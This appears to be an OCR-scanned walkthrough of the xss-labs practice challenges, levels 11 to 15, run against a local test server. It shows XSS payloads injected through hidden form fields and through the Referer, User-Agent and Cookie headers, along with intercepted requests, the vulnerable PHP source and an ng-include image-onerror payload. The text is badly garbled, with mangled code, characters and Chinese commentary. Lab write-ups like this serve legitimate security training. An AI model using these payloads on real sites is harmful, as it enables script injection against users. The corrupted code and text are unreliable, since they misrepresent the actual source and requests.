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http://localhost/xss-1labs/levelll.php?keyword=1&t link=1&t_history=2&t_sort=3&t_ref=4

{input name="t_link”™ walue="" type="hidden”>

{input name="t_history” walue="" type="hidden”
{input name="t_sort” type=”hidden”>
{input name="t_ref” wvalue= type="hidden">
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a0

payload 1

keyword=1&t_1ink=1&t_history=2&t_sort="onclick="alert(1)&t_ref=4
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{input name="t_link™ walue= type="hidden” »
{input name="t histonyg’ walne="" twme="hidden”

{input name="t_sort” value=”&quut;Dnclick=&qu0t;alert(l)”ltype=”hidden”>

. o o 0
{input name="t_ref” walue= type="hidden” »
S formy
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[<?php
ini set("display errors", 0);
str = $ GET["keyword"]; 3dr = Rl P W ol 5 o i
otz = s cerrienesa) RERSINE | SESMHHTEN T, SMORER
$strll=$_SERVER['HTTP_REEERERT];
$str2Z=str_replace(">","",5strll);
$str33=str_replace("<","",5stri2);
echo "<h2 align=center>y 4k F|HI" htmlspecialchars (S§tr) . "AHICHIES B . </h2>" . "<center>
<form id=search>
<input name="t link" value="'.'" type="hidden">
<input name="t history" value="',k'" fype="hidden">
<input name="t sort" value ”T.htmlspecialchars($str00}.T"ltype="hidden”>
<input name="t ref" Palue="'.$str33.'"Jtype="hidden">

{jform} ‘st

</center>";

| - IXBETstr339{8, mostr33=HTTP_REFERER
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GET /xss-labs/level11.php?keyword=1&t_lir
Host: 192.168.0.103

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Accept:
text/html,application/xhtml+xml,application/x
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
REFERER:"onclick"=alert(1)
Connection: close
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{input name="t_link” walue= type="hidden">
" type="hidden”>

{input name="t_history” wvalue="

{input name="t_sort” =" : = calert(1)” type="hi
{input name="t_ref” | value=""onclick =alert(1)”|type="hidden™>
< form>
Cfeenterr<center><img src=levelll. png></center>
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HA TR BStype/EBME, onclick

@ FmseHlevel11 X +

= C A FZ2| 192.1680.103

192.168.0.103 &~
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Elements Console Sources Network Performance Memory Application Security Lighthouse

<!DOCTYPE html>

<html>

lign="cente
lign="cente

_link"™ value type="hidden">

history™ value type="hidden">

wn

rt” value=""onclick="ale

<input
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@ FoumskSllevel12 view-source:192.168.0.103/xs: X +

C A F=£ 192.168.0.103

<!--ETATUS OE--><html>

=

2 | <head>

3 <meta http-equiv="content-type” content="text/html charset=utf-8">
4 {gcriptr

5| window. alert = function()

6| {

7| confirm{“FCREEAEED 7).

8| window. location. href="1evel13. phpTkeyword=good job!”:

91

10| </script>

1 <titles3iM3ER|level 12¢/titles

12 | </head>

12 <body>

14 <hl align=center>¥ iR level 12</hl>

15 <h? alizn=center>¥g AL E|FNzo0d job! 3 EHEE R, /h2><{center>
16 | <form id=search>

17 | <input name="t_link” wvalue="" type="hidden”>

-



18 | <input name="t_history" wvalue="" type="hidden >

19 | <input name="t sort” wvalue="" type="hidden”>

20 finput name="t_ua” walus="Nozilla/5.0 (Windows NT 10.0: Winfd: xf4) AppleVekEit/537.326 (EHTNL, |1
21| </form:

22 | <feentery<center><img src=levell?. pner</center>

23 | <h3 align=center>payloadBHERE 1 9</h3>< /bodyv>

24 | </html >
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/ Request to http://192.168.0.103:80

l Forward J l Drop J [ Intercept is on Action
Raw | Params | Headers | Hex

GET /xss-labsflevel12.php?keyword=good%20job! HTTP/1.1

Host: 192.168.0.103

Cache Control: max 2ge-0 RRIRIGSBRLZRIREN T User-Agent, 153

Upgrade-Insecure-Requests: 1

hJser—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif.image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=
Referer: http://192.168.0.103/xss-labs/level11.php?keyword=18&t_link=1&t_history=28t_sort=%22onclick=%22alert(1)&t_ref=4000
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

GET /xss-labs/level12.php?keyword=good%20job! HT
Host: 192.168.0.103

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

pser-Agent: "onclick="alert(1) |

Accept: text/html,application/xhtml+xml,application/xml;
Referer: http://192.168.0.103/xss-labs/level11.php?7key
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

forward

“form id=searchr

{input name="t_link”™ walue="" type="hidden”>

{input name="t_history” walue="" type="hidden”>

{input name="t_sort”  walue="" type="hidden”>

{input name="t_ua” value=””unclick=”alert(1)”|type=”hidden”>
Sform
fcentery<center»<img sre=levelld, pner</center>
¢h3 alien=centerinav] nadBHEE 0 M fhndv

HETEBStype/BME, #R)Gonclick

@ TmskFllevel12 X view-source:192.168.

< C A =2 192168.0.103

192.168.0.103 @7~
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<!DOCTYPE html>

%E

id="search"> == %@

t name="t_link" value type="hidden">

t name="t_history"” value type="t

name=" " value type="hidden">

name="t_ua" value onclick="alert(1)" type>

KB EEHXAERLETAMEmE
Less13
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/ Request to http://192.168.0.103:80

l Forward J [ Drop J ( Intercept is on | Action

J Raw I Params I Headers T Hex 1

GET /xss-labs/level13.php?keyword=good%20job! HTTP/1.1
Host: 192.168.0.103

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleVe
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imac
Referer: http://192.168.0.103/xss-labs/level12.php?keyword=goo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN.zh:q=0.9
Cookie: user=“onclick=“alert(1b
Connection: close
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@ TumHllevel13 x view-source:192.168.0.103/x

< C A &£ 192.168.0.103

192.168.0.103 &~
SERkASTRE!
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‘content-type” content="text/html;charset=utf-8">

1 id="search">
nput name="t_link" value type="hidden">
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<html >

<head>

<{mata http-equiv="content—type” content="text/html; charset=utf-8">

{titler @IS level 14</title>

</head>

<hody>

<hl aliep=center>@ i level 144/ 1>

CeanterskKiframe fame="leftframe” marzinwidth=10 marsinheizht=10 src="http://www. exifviewsr. ors,
<Sbady>
<Shtml >
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exif _read _data('test.jpg');

var_dump($exif);

?>
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=) <script>alert(1)</script>
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@ TumsESllevel14 view-source:192.168.0.103/xs: X localhost/test.php

<« C @ localhost

Fatal error: Uncaught Error: Call to undefined function exif read data() in D:\phpstudy pro\W

7Ephp.iniH 1 Dynamic Extensions T T %

extension=php_mbstring.dll

extension=php_exif.dll



@ omsEElevel14 x view-source:192.168.0.103/x localhost/test.php X Call to undefined function exit X C

<_

C @ localhost

array(11) { ["FileName"]=> string(8) "testjpg" ['FileDateTime"]=> int( NI 3oy Brrtre
string(26) "ANY _TAG, IFDQ, EXIF, WINXP" ["COMPUTED"]=> array(5) {
["ByteOrderMotorola"]=> int(1) } ["ImageDescription"]=> string(25) "'
"ooot}
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A % | 192.168.0.103
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13| </head> g

14 <hl align=center>¥iPEF|F 15X, §2BNHEELEER! </hl
15 | <p align=center’iime—src=lonal 5 pmans /pr

16 | <body»<span clasf="nez-include:l. gif >/ span></ body>

17

18

test payload

"><script>alert(1)</script>

<hl align=center>®iMER|FI5E, B HEERER! </nl>

p align=center»<ims sre=levelll. prns>{/pk
<hodyr<span class="hz-include:fbeuot: fet; &lt: seriptéet alert(10&1t; fscriptiet: “H</ spans </ body>
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AXRAT, HEZ—TFng-include
1. ng-include #§4 A T8 &M HTMLSCH .

2. BERNERIENRETRN T A

3. ng-include BHREF LR —ANRIERX, BE—XH4.
4. BUBRT, BN XHTERSER —MEET.

R EREER LA T:
1.ng-include, i SR B2l 45 e bbb, WAEINE] 5

2.ng-include, & AMEEhtml,  scripthnas 5 i B A AT



3.ng-include, N &k s #Fhtml & F stylepr A+ AT LLIR 71

payload

?src="levell.php?name=<img src=1 onerror=alert(1)>"

@ LemskIllevel1s X view-source:192.168.0.103/x

< C A e | 192.168.0.103/x
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https://www.zhaosimeng.cn/writeup/117.html
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